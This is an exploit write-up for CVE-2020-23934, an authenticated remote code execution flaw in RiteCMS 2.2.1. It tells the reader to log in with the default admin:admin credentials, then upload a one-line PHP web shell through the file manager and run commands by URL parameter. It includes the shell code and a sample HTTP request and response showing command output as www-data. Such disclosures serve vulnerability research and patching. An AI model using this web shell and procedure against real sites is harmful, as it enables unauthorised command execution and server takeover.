RiteCMS 2.2.1 - Authenticated Remote Code Execution

# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution
# Date: 2020-07-03
# Exploit Author: Enes Özeser
# Vendor Homepage: http://ritecms.com/
# Version: 2.2.1
# Tested on: Linux
# CVE: CVE-2020-23934

1- Go to following url. >> http://(HOST)/cms/
2- Default username and password is admin:admin. We must know login credentials.
3- Go to "Filemanager" and press "Upload file" button.
4- Choose your php web shell script and upload it. 
     
PHP Web Shell Code == <?php system($_GET['cmd']); ?>

5- You can find uploaded file there. >> http://(HOST)/media/(FILE-NAME).php
6- We can execute a command now. >> http://(HOST)/media/(FILE-NAME).php?cmd=id

(( REQUEST ))

GET /media/(FILE-NAME).php?cmd=id HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://(HOST)/cms/index.php?mode=filemanager&directory=media
Connection: close
Cookie: icms[device_type]=desktop; icms[guest_date_log]=1593777486; PHPSESSID=mhuunvasd12cveo52fll3u
Upgrade-Insecure-Requests: 1


(( RESPONSE ))

HTTP/1.1 200 OK
Date: Fri, 06 Jul 2020 20:02:13 GMT
Server: Apache/2.4.43 (Debian)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8
uid=33(www-data) gid=33(www-data) groups=33(www-data)